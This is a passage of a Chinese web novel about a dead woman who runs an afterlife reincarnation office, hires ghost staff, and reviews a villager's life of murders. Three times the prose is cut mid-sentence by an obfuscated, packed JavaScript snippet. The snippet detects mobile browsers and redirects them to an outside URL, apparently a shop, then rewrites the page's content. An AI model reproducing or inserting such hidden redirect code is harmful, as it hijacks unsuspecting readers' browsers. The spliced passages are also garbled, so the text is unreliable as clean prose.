我的人生呢?刘溜忽然想到,我的人生如果放进去,其实也是一样的吧?出生,上学,工作,死亡。机械地上学,机械地工作,好像我的人生更短更无趣。 为什么当时没感觉呢?是因为生活的细节并不重要吗?还是其实自己已经有了预感,只是不愿意承认自己一辈子就是这样。 把一切审视,流程化地刻印,实在是个很残酷的过程。 白条还在伉滋伉滋,烟雾像熨烫机把白条熨平,刻上纹路。随着末端被吐出,滚轮上大张的嘴巴合上,眼睛还是闭着。屏幕提醒刘溜把刻印好的白条输入程序,扣上印章。 刘溜皱着眉打开程序,那是个傻瓜式操作界面,输入投胎人,选择投胎地,一旁有个工作的选项灰着,刘溜没有理会。按下确定,白条又从另一台机器吐出来。 这台机器什么时候出现的?刘溜没有多想,只是烦扰章要怎么弄。她不想按照屏幕提示的那样给自己也来一针管,有种要被抽走灵魂的感觉。 张婷还呆呆地僵在那里。 4. 泛白的小正方体 银灰色的小正方体滚动着落下去,刘溜扒开往下看,只能看到单独的小正方体旋转、下落,间或闪过一点白色,那是她刚刚设计的条形码。 印章被她替换成了指纹,反正她生前总用指纹代表自己的身份。机器提示她必须输入一部分的本源来铭刻,防止被人替代。她总有种奇怪的危机感,好像如果按照他说的那样做,自己就真的在认真地办理入职手续,也真的接受了人类投胎部门下属主管这个听起来就很荒谬的工作。 为着心里的那一点固执,她没有理会,反正她的上司也没有出现,自己的权限能够多大呢?跳过既定的投胎程序步骤,更改机器外观,跳过找到自己并确认自己的环节,就好像入职的时候不给出身份证复印件,不给出学历证明和上一家公司的离职证明一样。 张婷已经化作小正方体咕噜噜下去了,它所下去的通道没有尽头,像梦里无穷无尽的阶梯。刘溜把手伸进去,努力探下去,她的肩膀塞进去半个,就再也动不了。如果有很多个很多个小正方体滚下去,那这个通道会变大吗?刘溜盯着黑黝黝的洞口,这里来连接的是地心?还是人心的黑洞? 那小正方体就通过通道直接到人心脏里,再血液循环浸透到大脑,然后灵魂就入驻了。 刘溜被自己逗笑,她生时想过,人死了会是什么样子,直接消散,还是西方的天堂地狱,又或者是传统的地府判官?可是都没有,倒是她曾经设想过的灵魂变成了现实,她也真的可以站在生前的亲人身边,看他们哭看他们哀戚。 哀戚总是短暂的,人活在哀戚里,耗费精气神,只会再失去生命。刘溜总觉得自己有些自私,她希望父母再哀戚一些,再哀戚一些,好像他们伤心的时间是自己的重量。她的份量太轻,在人群里一吹就跑,所以不可避免地想要在别处找补回来。 更何况自己已经死了,他们还活着,还能活很多年,给自己一点哀戚又怎么样呢?死了的人总不是没用的,看她现在还是个小官儿,还能走个后门。 刘溜又笑起来,这个后门不能太大,只能小一点,因为他们实在没有哭多久,他们有孙子,有儿子,有虽然迟暮但是还很长的未来,他们的哀戚是真实的,但是会在看到孙子的酒窝时舒展。她的份量总是轻的,活着尚且如此,死了更无所谓。 于是刘溜也没有伤心多长时间,她只是迷茫,她没想继续有意识,因为活着总是要找意义,以为死了会好点,可是为什么死了也要工作? 但不工作又能做什么呢?她影响不到现实,影响到就很有意思?于是她好像地缚灵一样,飘着飘着又回去了,但是她总是不甘心的,于是故意做出些小试探小动静,但是这样的动静也没有回声。她好像失去了项圈的狗,不知道安全的范围,也不知道下一步的方向。 于是刘溜又坐下来,她难得有一点兴致,于是刷刷地处理事务,她不去管什么锁定不锁定的提示,来投胎的魂灵范围内要什么给什么,间或有奇怪的提示跳出来,好像是什么‘达到要求,是否邀请?’ 刷刷刷全都过去吧,屏幕下的数字飞一样增长,于是她也没有管为什么蹦出来的都是家境富裕的选项。她好像机器,在系统给出的范围内尽可能地制造着小方块。反正智能自适应系统开着,总不会让来投胎的魂灵到了不该去的地方。 一排排小正方体在传送带上,咕噜咕噜,可爱又乖巧,有些泛黄,有些泛黑,有些神奇地发光,不是没有人和刘溜套近乎,但是她不耐烦,惹着她了万一投个不好的胎怎么办?甚至这儿只有一个工作人员,谁知道有多大权限? 也有蛮横的,死了也不讲理,要拽着刘溜比一比拳头大小,于是刘溜直接把他送到了村头大黑狗那里,他尽可以拼一拼自己的武力,或在野外打出自己的一片天,做威风的王。 小方块洗去记忆的地方是个大澡盆,刘溜特意设置的,取洗去尘埃的意思。人间带来一身的心理痕迹,洗去轻松魂灵,下辈子也好投胎。毕竟人下辈子都不一定是人,难道这辈子的东西还能遗传? 刘溜打了个哈欠,手下机械地摁着指纹,开始她还有兴趣看一看别人的人生,可是人生千篇百律,不过都是些模子,好不容易有个不一样的,结果还想着对她催眠。被刘溜麻利地送下去,帮他成为了一只海豚。 这么想来,好像自己也挺肆意妄为。刘溜一边想,一边继续刷刷刷,她的速度很快,可是机器处理得更快,小正方体根本没有堵塞的机会,澡盆还冒着白焰,明明是小小的脸盆,可是一个接一个的白块儿进去,却一点也不满溢,她定睛看去,一个一个很是分明。 那通道更别提了,还是单行道,刘溜故意捞着一个块儿不让走,然后机器就顺着处理下一个,她暂停传送的程序,然后通道就静在那里,一瞬间刘溜怒气暴涨,把白块儿摔得蹦蹦跳跳,可是等她平静下来,不由啼笑皆非。 只是个机器,又不是存心,有什么好气的? 于是她又耐心地一键拾取,让机器继续工作了。 可是看不到堵塞的盛况,刘溜又失去了目标,她看两眼被打得伤痕累累的黑狗,也没有一丝的兴味,黑狗欺负过别的狗,自然也要被别的狗欺负。她没有事情做,于是还是在工作,好像四周是透明的工作间,数字还在蹭蹭往上涨,刘溜做了很多工作。 她好像上了发条的机械手表,一直转啊转,转啊转,盲目麻木地转,不去看智能系统判定投胎的标准到底是什么,也不去看这辈子和下辈子到底有没有关系。工作是没什么意思的,但是好像不工作,会更没有意义。 直到一个小小的怯怯的女孩声音唤醒她。 “姐姐,我能不投胎吗?” “不可以哈,亲亲可以看看平面上的选项,选一个自己满意的呢。”话从嘴里溜出,刘溜没有等到回复。再去看,那小女孩儿绞着手,一声不吭。 漫长的沉默。 “亲亲,您这里不想选的话,我这里帮您自助匹配了哈。”刘溜敲击着桌面,咚咚两声,小女孩儿如石头卧在地上震了两下,还是什么也不说。 刘溜摁下确定,小女孩儿不愿意接受,她沉默,不动,无声地抗议,好像这样就能得到自己想要的。刘溜本来已经把自己机械化了,突如其来的意外打断她的节奏,她整个人都很暴躁。 也该活动下身子,刘溜自然地起身,全然忘记了自己已经死了,不需要再活动关节让自己更健康。她绕过工作台拎起小女孩儿,把白条贴在她脑后,手动把人塞进去。小女孩儿好像打包好的行李,穿过扫描机,从洞口出来的时候已经变成了白块儿。 一个有点脆的,有些泛白的白块儿。 那是一种很奇怪的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175864|150564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好像伤口泡浮肿后失活的组织,好像反复拉扯又裂开的嘴唇上的死皮,好像神经上覆盖的那一层奇特的白膜,刘溜感觉自己的手动了两下。她坐回去的时候,忽然意识到小女孩儿在颤抖。 小白块儿泡在白焰里,身边是无数一样的小白块儿,可是在刘溜眼里它还在颤,颤到液态的火焰泛出奇异的波,颤到她的心口有些憋胀。 我已经死了,憋什么呢? 刘溜自然地收回视线,又开始下一个收纳工作。她本以为这只是一个小插曲,可是不知什么时候她面前的屏幕也颤起来了,她的手怎么也对不准。好像手下的白条有生命一样,黏腻腻左滑右滑。刘溜烦躁地把白条扔到一边,余光看到僵在那里的女人。 又是女人,她漫不经心,只是她空了这点时间,于是又看了看。这是个没什么寻常的女人,要求也是下辈子做个有积蕴的,或者实在不行当个植物。 没有植物的选项。 刘溜告诉她的时候,她很失望,好像做植物是她的第一选择,当个人、甚至是有钱人也不会让她高兴。刘溜说她可以选择投胎成首富的儿子,女人摇了摇头,忽然问可以放弃投胎吗?刘溜不知道这是遇到的第几个想要放弃投胎的了,她不耐烦地说不行,于是对面的女人沉默片刻,说自己还是当个孤儿吧。 有钱的孤儿。 为什么想要放弃投胎呢? 为什么不办理放弃投胎呢? 送走女人后,刘溜没有摁下一个,她盯着自己的手掌,空空荡荡,她看了好久,又好像什么也没有看。她在自己的心里刨啊刨,像是在找很久远的,很久远的,被她塞到不知什么地方的东西。又好像在找不知道什么时候被不知道什么人放进来的很微小的东西。或许是豌豆公主床垫下的豌豆。 哦,原来是她自己的想法呀。 我不能放弃投胎,为什么他们可以呢? 我不能落得清净,凭什么你们可以呢? 是这样吗? 可是刘溜还是很难受,并没有人强迫她工作,也没有人强迫她接受这个职位,她是可以选择放弃投胎的,所以这并不能解释她的举动。于是她又一个猛子扎下去,在浩如烟海的情绪里刨啊刨,然后带着一点儿不甘心兴高采烈地上来。 找到啦! 因为你不想死啊! 我不想死啊! 我不想失去意识啊! 我想活着呀! 好像世界猛然放了一个雷,刘溜眼睛被劈圆了,她忽然意识到自己其实根本不想放弃。但是那一点点不愿意好像藏在蚌肉里的沙子,抵不过结局,却磨得人生痛。 那一点点不愿意,一开始也不是一点点不愿意,而是很多很多的不愿意。但是这个不愿意不现实,那个不愿意不经济,这个不愿意没有意义,那个不愿意没有道理。于是不愿意好像带着瑕疵的珍珠,磨啊磨啊磨,磨到最后一点儿也不剩,被压到被褥下,被藏在深海里。 可是不愿意就是不愿意呀。 那一点点不愿意让刘溜坐立难安,那一点点不愿意逮着一点儿机会就要冒出来。那一点点不愿意让她不想死,可又没办法为她提供足够的支撑。刘溜忽然感觉心里坍陷下去,泡沫一样的楼房漏下去,显出她空洞的内心来。 这时,那一点点不愿意倒是分外明了。 5. 员工 人在孤独的时候很容易胡思乱想。 刘溜给自己放了一段时间假,认真检视了一下自己的内心,最后得出的结果是她太孤独了。就像她初中时候拼命学习,睁眼就是学,闭眼还是学,前天晚上的知识第二天早上起床的时候还在嘟囔,为了挤出学习的时间,她一个人吃饭,一个人上厕所,一个人走路。 于是她理所当然成为了独行侠。 其实刚开始没什么感觉的,只是后来成绩出来,爸妈还是不愿意答应她的要求,让她转学到六中去。尽管当时他们告诉她,只要考到年级前十就可以。失败了,但是也很正常。大人总是会出尔反尔。当时的刘溜很痛苦,于是她大闹、疯狂地闹,好像要把所有的不甘委屈怨恨都闹出来,然后爸妈打了她一顿。 刘溜一下子对学习失去兴趣,甚至于产生厌恶,可是她已经错过了找朋友的最佳时间。大家都已经找好了自己的厕所搭子,吃饭搭子,走路搭子。刘溜像是在一个个半人高的海洋球之间活动,空气如墙在身边溜走。成绩出来,她理所当然没考好,那时候她的自厌感达到了巅峰。 也是像现在这样,胡思乱想。 刘溜为自己找着借口和遮羞布,好像她的想法是什么难以启齿的事情,她很久没有明目张胆地为自己努力了。或许我只是孤独,于是刘溜满意地复盘了一下这个理由,觉得这个理由实在再合适不过。 我需要一个人类的环境。 人类,员工? 刘溜在下一个人过来的时候,开始认真地审视,为自己选择合适的环境对象。 我或许需要至少3个同类。 太少了,刘溜比划了一下,如果要心理不孤独,那么人类至少要像自己活着的时候那样吧,一个个的格子间,至少要三排三列。这样才能够在她不交心的同时满是人类的稳定。 那就9个。 9个应该不难找。 给自己找了事情做,刘溜忽然又有了盼头,工作实在太多,自己找个同事也很正常。也是为了尽早处理完积压的工作。她挑剔地看着滚轮上显现的过往。 3岁的时候会背古诗,6岁的时候会算百以内加减法,9岁的时候小学毕业,12岁的时候物理竞赛,15岁的时候上大学——太聪明了不利于稳定,pass。 3岁的时候还在爬,6岁的时候上小学,9岁的时候留级,12岁的时候再次留级,17岁的时候没考上高中——太愚钝了不利于工作开展,pass。 3岁的时候在摇摇晃晃地走,6岁的时候上小学,9岁的时候参加校内鼓乐队,12岁的时候随机升学,15岁的时候考上普通高中,18岁的时候勉强上个一本,22岁的时候毕业——没有亮点,pass。 ……花心,pass。 ……木讷,pass。 ……不够灵活,pass。 ……太过灵活,pass。 …… …… 一连pass了许多个,一直到屏幕下方的数字都悄悄攀升几位,刘溜烦躁起来,怎么回事?天下英才那么多,就没有一个合适的吗? 认真看生平也是一件很耗费精力的事,至少刘溜觉得自己累了,她的要求很高吗?她要一个温和的环境,势必不能对她造成负面影响,所以不能要心理不健康的,也不能要太优秀的,有压力,太笨的更不行,会烦躁。人品不咋地会不会影响自己?当然也不可以。人品太好对自己产生要求怎么办?她又不是找爹的。 转来转去转来转去,刘溜愣是没找着一个。脾气好的她闲人家没主见,会把自己惯坏。脾气差的她怕自己忍不住给人手动投胎。温不溜秋她又觉得太平凡。谁都能找到不合适的理由,谁都不能让刘溜满意。就算屏幕上跳出‘检测到符合要求,是否留用?’刘溜也只会面无表情地吐槽它要求太低。 是的,刘溜已经知道了这个提示意味着什么,那是系统检测符合员工标准的提示。但是系统检测的标准什么意思呢?看着那一排的精神度完善度纵深等等等等,刘溜就一点儿不想看。 像刚刚那位温吞妹,就算烧开也会像在高原一样什么反应也没有。刘溜拉了一遍,就连压缩的也认真看了,愣是没找出来这位温吞妹妹有过大情绪起伏的时候。她的人生像按了快进键一样丝滑,父母双全,家境中等,顺利毕业,升学,结婚,生子,然后在产房羊水栓塞抢救无效死亡。 上面的丈夫还在死命哭,父母也在儿子的安慰下啜泣,下面这位妹妹已经带着温和的笑意有礼貌地回答起刘溜的问题。甚至还会沉思,会不好意思地询问,一切都看起来那么正常,如果不是刘溜能看到她的尸体还散发着热气,她甚至都不敢相信这位才刚死。 不再呆一会儿再来吗?就算不悲伤难道不好奇自己的亲人到底会伤心多久吗?她给刘溜的感觉就像刚吃完饭出来遛个弯一样简单。 “不伤心吗?” “没什么好伤心的,”她依旧带着温婉的笑意,“生老病死,人之常情嘛。” 说得好像死的人不是她一样。 刘溜难得起了好奇心,但是她知道好奇心害死猫。人之常情不假,可是这不该是正常人的反应,所以她克制住自己收下第一位员工的冲动,将她变成了泛着银灰色金属光泽的小白块儿,不知怎么地,她没有将她送到洗澡盆,而是放到了一旁。 或许有更合适的呢? 可是没有,就算是系统跳出符合要求,她也没有一点想要留下他们的冲动。她曾经试着对系统判定符合的人面试过,有的很聪明,一下子就意识到了什么,然后就会变成比面试大厂工作面试研究生还要标准的姿态。刘溜看到过很多次快要看出生理性厌恶的姿态。 也有的想要个性化面试,不仅不认真回答刘溜的问题,还尖锐地剖析起她。说她像脆皮软糖,看着强硬实则内心敏感柔软。刘溜当时就把人定住,帮他走流程投到了前面那只海豚的后代。 很冒犯啊喂,好像被人剥开肋骨扒拉着脑袋朝心脏看一样,那种冒犯让刘溜接下来十几个人都兴致不高。后来她意识到自己这样好像玩忽职守,于是又打起精神来面试。但是面试的人一个比一个离谱,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175865|150564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道系统到底是怎么判定的,为什么人类的道德标准好像对它筛选出的人根本不适用,法律是道德的底线,有些人就在底线上徘徊,甚至蹦迪。 它是觉得自己过得太平淡了吗? 还不如前面那几个呢。 刘溜一边筛选一边工作,有了点儿盼头,她工作也认真了些,可是还是没有。她忍不住看向旁边的银灰色光滑漂亮的小方块儿,有种把她打开的冲动。 不行,刘溜,克制住你自己。吸引人的总是极端的家伙,你一个普通人,会被溜来溜去的!你总不想再遇到一个你高中班长那样的人吧? 高中班长张浩荣带来的恐惧感压制住了刘溜,她前面曾经遇到过这一类型的人,她通通把他们送去做了动物,动物会比人类更敏感直接,相信他们会在动物世界更好地使用他们的天赋。 能不能看到自己生前接触过的人在做什么呢? 刘溜码正小正方体,这个念头一蹦出来就再也抑制不住。她很少有这样的兴致,于是她立刻在系统里找来找去,可是不管她输入什么关键词都没有。人界、生界、活着、人世等等等等,可是还是没有,她试图通过投胎者选择身份的时候观察环境,可是一点儿蛛丝马迹也没有。她甚至没有遇到过一个生前的熟人。 大家的寿命都那么长吗? 她忽然有些不高兴。 借着这股不高兴,刘溜把漂亮的小方块儿打开,重新恢复成了人形。她第一次做这件事,有些不熟练,她本想着自己拼起来,结果不是少捏了胳膊就是捏厚了腿,最后她只好选择一键还原。摘下白条的时候,刘溜罕见地犹疑了一瞬。 我真的要摘下来吗? 将她作为员工留下来? 那点儿借来的情绪冲动在思考中被压下去,她好像在做一件很危险的事。刘溜总是迟疑,在意识到自己在做的举动会对之后的自己产生影响后犹疑。她不擅长给以后的自己添麻烦。除非控制不住。 我很需要她吗?刘溜想,我可以找很多安全的员工,之前的那几个也很不错,我没有走程序的还有那么多人,我不一定要这个…… 正确吗?有问题吗?刘溜评估着,她擅长做正确的事,这样不会让以后的自己太难受,或许这是好听点的说法,也许她只是恐惧为自己的选择承担责任。 不会再有一堆人和她做一样的选择,让她在付出代价的时候理所当然地告诉自己大家都一样,于是错误也是正确。不会再有人看着她,于是她做的一切选择都是自己的,她很少这样清晰地做决定。 她的手又颤抖起来,那张白条好像风吹一样鼓动,是自己的眼睛在鼓。这里没有风,她讨厌风,因为自己总会被吹走。可是她已经长大了,没有人拉着也可以在风中立起来。不管是好是坏,她总要试着去做。做了总有一天会知道好坏。芝加哥的牡蛎在起伏,但这里没有眼睛,她随时可以把讨厌的变成小正方体塞到现世里,没有人可以评价她,所以她做的错误也是正确。 “……错误也是正确……” 喃喃着,刘溜摘下了白条。 6. 新员工 “组长,是这样的吗?” “啊啊啊啊啊我觉得刚刚投胎那个好难选啊!” “这谁设计的机器一点儿不好使啊!” “话说谁能想到死之后还能看到咖啡机呢?这玩意儿真的提神吗?” “……” “……” 听着耳边嗡嗡的嘈杂,刘溜很想大吼一声让她们安静,或者一个滑铲将她们变成小白块儿送进去。那天她恢复了温吞妹妹温善,并将她招收为第一位员工,试用期三个月。温吞妹妹只是惊讶了一瞬,就平静地接受了所有条件。刘溜知道自己会下意识挑剔所有人,而再孤独下去,不仅工作量完不成,两个人的相处会更容易让她受制于人。 她很擅长在别人制定的规矩下摆烂。 刘溜潜意识里并不想回到生前的状态,她将招收员工的任务交给了温善,告诉她几条自己制定的要求,让她筛选后提交给自己。 要想筛选员工,那么也需要工作器具。刘溜划了一片屏幕过去,她将温善录入员工系统,开放一定的临时权限。刘溜很认真地办理新员工入职的程序,她按照要求抽取了温善的本源,并绞尽脑汁地写了工作须知,一切流程都参考了生前的入职程序。 毕竟她获得这份工作后,也没什么像样的入职程序。 “具体工作事项会在信箱里呈现,刚开始系统会有一段自主程序,不熟悉的话可以先看它的处理流程。” “如果遇到合适的想要留下的候选人,那么按旁边那个标,这个人会被转到我这里。” “每天常规要求,处理100人的投胎意愿。” 刘溜想了想有什么要补充的,她到现在都不明白为什么投胎系统会选中自己,是因为自己小时候与众不同的愿望得到回应了吗?只是这回应是不是晚了点儿?富贵不还乡如锦衣夜行啊。 “怎么称呼您呢?” 刘溜愣了一下。 “叫我组长吧。” 然后温善小同志兢兢业业地处理工作,白天在做,晚上也在做。底部已处理的数字蹭蹭蹭往上涨,她很快给刘溜筛选了不少在她看来合适的人,并写上详尽的推荐理由。温善的推荐报告及其正式,正式到刘溜工作以来只在官网上看到过类似的报告。 她不可避免地被温善影响,关键是温善的推荐理由看起来非常必要,一个活跃的人,一个稳重的人,一个锋芒不外露但内秀的人,刘溜一个个看过去,刚开始她还会随心pass,后面想到温善的推荐理由,又会想是不是自己真的没有看出来。 人哪里是一时就能看出好坏的呢? 刘溜知道自己这个毛病很不好,非常不好,可她控制不住。这是她为什么在招聘员工时如此抗拒的理由,也是她为什么催着温善招聘员工的理由。她习惯了当伏草,遇到自己做主想要做主的时候,第一时间就是意识到自己的缺点。 哎,虽然烦烦的,但总要进步的嘛。 这个看起来不错,太外露了,打回去。这个还行,挺活泼的,应该气氛会好一点。留下来?怎么还有男的?打回去。这个看起来好熟悉,熟悉的打工人气质,应该挺路人的,留下来。 刘溜没有发觉温善递过来的什么人都有,现在的人类投胎系统工作室,对于刘溜来说就是她的家,她还保留着很多做人时候的习惯,讨厌破坏安定感的事务,讨厌入侵者,所以她打回去了大多她认为有威胁的候选人。 外露的pass,当领导的pass,自来熟的pass,过于聪明的pass…… 温善每天按照一定比例地提供人选,然后把pass 的人选计入档案,刚开始她被pass的概率很高,三天后变低,可是她明显感觉到组长的情绪不对劲,看来组长是个很敏感的人啊。于是温善又从容地把比例调低,虽然时间长了一点儿,但是工作嘛。 于是在温善入职一个月后,三排三列的隔间终于住满了人。 刘溜接连划出去九块屏幕,屏幕在切割后又延伸成原来的大小。每次她将每块屏幕注入归属人的本源,并告诫她们不可随意将工作设备借给别人。她按照流程告知了工作内容,工作惩罚,具体事项让她们翻看信箱。 然后有个黑长直的小姑娘弱弱举手。 “组长,我们怎么休息呢?” 刘溜愣了一下。 这九个人不是同一时间入职,先开始是1个,后面是2个,再后来是3个,然后又以1个和2个的顺序陆续招满了九个。之前没有人当着刘溜的面问这个问题。 黑长直的小姑娘叫李留,一旁留着寸头的张欣拽她的袖子。没看组长愣住了吗?刘溜则是很尴尬,她确实不知道怎么休息。死了还用休息吗? 也是哦,自己死了还要找个人类的环境。 但是人死了是不会困的啊。之前刘溜一个人的时候,她曾经机械化地一连处理了两千多个投胎意愿,一点儿困的感觉也没有。 刘溜下意识去看温善。 意识到自己这样不好,刘溜瞥了一眼立刻收回,“具体事项问HR。” 刘溜指了指温善。 于是温善做的这件事有了个具体的职位称呼,HR。 刘溜离开之后,温善看着两个鲜活的小姑娘,张欣还在说李留乱说话,李留反驳说很正常的好伐,哪家公司入职不问啊? “这是正常公司吗?你家公司开阴间啊?” 两个人吵来吵去,果然是涉世未深的小姑娘,温善看着她们。 组长选的这九个人,大多是二十多岁的年轻人,年纪最大也不过二十七,组长本身也是一副年轻人的样貌。而自己呢?自己现在又是什么样子呢?是像她们一样的二十多岁吗?还是死的时候那副年纪? 组长为什么选择自己一个三十二岁的人做为第一个员工呢? 第一个,总是有着某种倾向的。 温善噙着笑看着她们,似乎在等她们发现自己,或者等她们吵完。那个张欣已经看了自己好几眼,看起来很无可奈何的模样。李留也似乎不让张欣认输不罢休。 谁看了都要劝上两句。 工位上的人没有一个站出来,都在默默地工作,只是有些人竖起了耳朵,有些人探出脑袋看了几眼,有的坐立不安,想要起身又没有。但是没有一个人站出来。 那个默默工作一动不动的,是组长第一个通过的人选,那个竖起耳朵的,是第二波。探出脑袋的是第三波,坐立不安的是第四波。 而第五波正在吵架。 她们吵架的波动很大,站位,扭头的幅度,可以覆盖到所有人,她们也是温善提供的最后一波人选。也带给她满意的结果,温善看了一眼表,再吵下去就过了,组长会忍不住跑出来的,她上前制止了她们吵架,并告诉她们具体的工作时间。 李留和张欣对视一眼,笑眯眯地缠着漂亮好说话的HR姐姐问起来。 “上五休二的话,附近有什么娱乐场所吗?游乐园影院之类的?” “咱们这儿有没有奖励措施呀?我妈妈可想我了,我要是超额完成工作能不能回阳间一趟啊?” “姐姐姐姐……” “……” 游乐园,电影院,刘溜脚尖抵着桌子,一脚蹬出去很远,她坐在椅子上旋转起来。 当初温善怎么说来着?建议她建立配套的生活设施, 建立生活设施并不难,能量充足,只是建立有什么用呢?灵魂体不会饿,吃不到,甚至不会困,所以也不需要房子睡觉。生活设施大多是为了满足衣食住行,说白了,就是原始的机体需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175866|150564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求。而导致需求的是人体,可是人都死了,灵魂体的需求从哪儿来呢? 只能从认知上来。 可是认知,精神食粮吗? 游乐园不会有用的,开始带来的愉悦,不过是记忆设下的锚点残存的快感。没有恐惧,没有失重,游乐设施不过是一个样子。电影院,影片从哪里来?从生界吗?可是刘溜都没有找到联系生界的法子,或者说她也没有认真去找,为了死者去枉顾生者,挺不道德的。 若是人越接触和生界有关的,就会越向往生界,到时候她们会不会为了一己之私偷渡?可是她们现在所有的需求,都来自于生时的记忆,刘溜从哪里可以凭空建造一个锚点? 其实,刘溜一直没有体会到死了后还活着的乐趣在哪里,她只是不想死。 好费脑子啊,刘溜转着圈。因为温善前后提交了不下三次建造卧室的需求,甚至后面还附上了员工的建议。刘溜大手一挥建造了三排厂房,可是她自己一看,都是八人间。刘溜诡异地沉默了。 原谅她的贫瘠,说起宿舍,刘溜只能想到这么多。 然后刘溜一瞬间毁尸灭迹,她费劲巴拉地在程序里填入建造的模块,然后拨给一些能量,告知员工可以自己建造想要的房屋。她划定了区域,给员工做休息区。 新来的张欣和李留是最先建好的。 她们建造了一栋生前只存在于童话里的糖果屋。 “天上飘过的是棉花糖,地上河流里流淌的是奶油,太阳是甜沛的红橙,月亮是脆嫩的茭白,树林里挂满的是满汉全席,一种树木结一种菜系,房屋的顶是绚烂的星空糖果,墙壁是不同口味的夹心巧克力,柜子是薄薄的流心糖片,床是新鲜的水果篮子……” 李留绘声绘色地描绘着,她甚至为了凑够八大菜系一个个跑去问来得早的员工,温善早被掏了干净,刘留也没有逃脱毒手。 “组长啊组长!你到底有没有喜欢的菜嘛!或者吃到过什么独特的没有?你描述下啊组长!我知道你在家!” 啊啊啊啊啊啊!好烦! “组长你是个好组长,组长你可怜可怜我吧。我就差个树冠了啊组长!” 刘溜有那么一瞬间想把李留变成白块儿。 她记得这玩意儿看起来挺矜持来着? 李留趴在玻璃上cos蜘蛛侠,张欣拼命把她往下巴拉,她是真怕刘溜一个不耐烦送挚友往生。人活着的乐趣已经很少了,没必要再把唯一个源泉送掉。她好声好气劝李留,奈何李留扒得死紧。见喊不出来,李留又转换了策略。 “组长你有时间来看我的房子啊!糖果屋哦!童话里的糖果屋!我给改良过的!超多好吃的!我从温姐姐那里扒来老多菜,都在树上长着呢!组长你吃过变异的猕猴桃吗?还有一米多长的脆藕?老好吃了组长!” “真的我不骗你!我妈以前就爱给我做藕,一米多长的都是送人的,我吃过碎片,现在两米的都有!老大老大,你有时候一定要来看看哦!能开个味觉就更好了!糖醋里脊开水白菜地三鲜,一个个比一个香啊老大!” 李留喊得声嘶力竭,没有美食还有什么乐趣啊老大!张欣撕她撕得更紧了,可是吃货的力量是庞大的,李留这个憨憨,在确定安全后就一点儿心眼子也没了。她没看城府很深的温善小姐姐都很少惹老大吗! 一个人受人忌惮,要么太过聪明,要么太过致命。可惜她张欣八百个心眼子,因为性情全成了空。 “祖宗,祖宗,你别喊了!” 李留喊了老半天,确保里面的人真的听到了自己的肺腑之言,才依依不舍地离开,主要是工作时间要到了,她还不想尝试惩罚是什么滋味。关键是张欣还在旁边儿呢。 哼,尔等凡夫俗子,如果组长生气早把我变白块儿啦! 7. 疑惑 “B-1-1568972川贵,你的投胎意愿是什么?”李留转着笔,面前是一个满是褶皱,腰佝偻着的老人。 此时他的手正紧紧地搅在一起,贪婪地巡视着屏幕上的选项,他一页页让李留往后翻,一直翻了二十多页都没有选定。李留渐渐不耐烦起来,她让川贵自己调页码,自己又翻看着滚轮上的生平。 川贵,母亲小学老师,父亲初中老师,是家里的第一个小孩。川贵比较闹腾,于是母亲辞职带了三年,一直到送幼儿园才回去上班。五岁的时候川贵把油滴到台阶上,来送菜的外公滑倒摔偏瘫。同年爷爷的哮喘药被川贵换成维生素片,窒息而亡。外婆和奶奶伤心过度,缠绵病榻。川贵哭得很伤心。 小学一年级,川贵拿同桌的手链塞到另一个同学桌兜里,污蔑他是小偷。又把同学的跳绳磨细,拔河的时候摔伤一片。拿走班长收的班费,说班长买手表用了。川贵所在的班级事情一件接一件,二年级时母亲意外怀孕,川贵在厨房滴油,母亲摔流产。 川贵被发现,母亲父亲离婚。父亲独自带他,川贵破坏了父亲三次相亲,父亲越发不耐烦。川贵一个人买辣条的时候被诱骗拐进大山。逃跑失败后忘记前事,反应迟钝。川贵以为出生就在大山,撺掇父亲把奶奶卖掉买吃的。爷爷骂了他几句,川贵怀恨在心,在爷爷起夜路上放了石头,爷爷滑倒栽生锈的铁钉上,当场死亡。 新父亲打死两个老婆,没有生出男娃,买川贵回来继承香火。攒了一辈子钱给川贵买媳妇,川贵聪明,打两天歇一天,没给人打死。生了俩娃,第三个娃的时候媳妇难产,一尸两命。 俩娃爷爷在的时候还能吃两口饭,爷爷死后川贵觉得俩太费钱,卖了一个养另一个来养老。媳妇死了,川贵去摸别家的门,出门的时候碰到男人,情急之下打死了。伪装成掉下山没人发现,川贵胆子变大,接二连三的满足手瘾。引起村里戒备,川贵后来不再下死手,而是搞出小意外,弄伤弄瘫痪。 川贵在大山里活了一辈子,死的时候还在地里,惦记着要给儿子再买个媳妇。 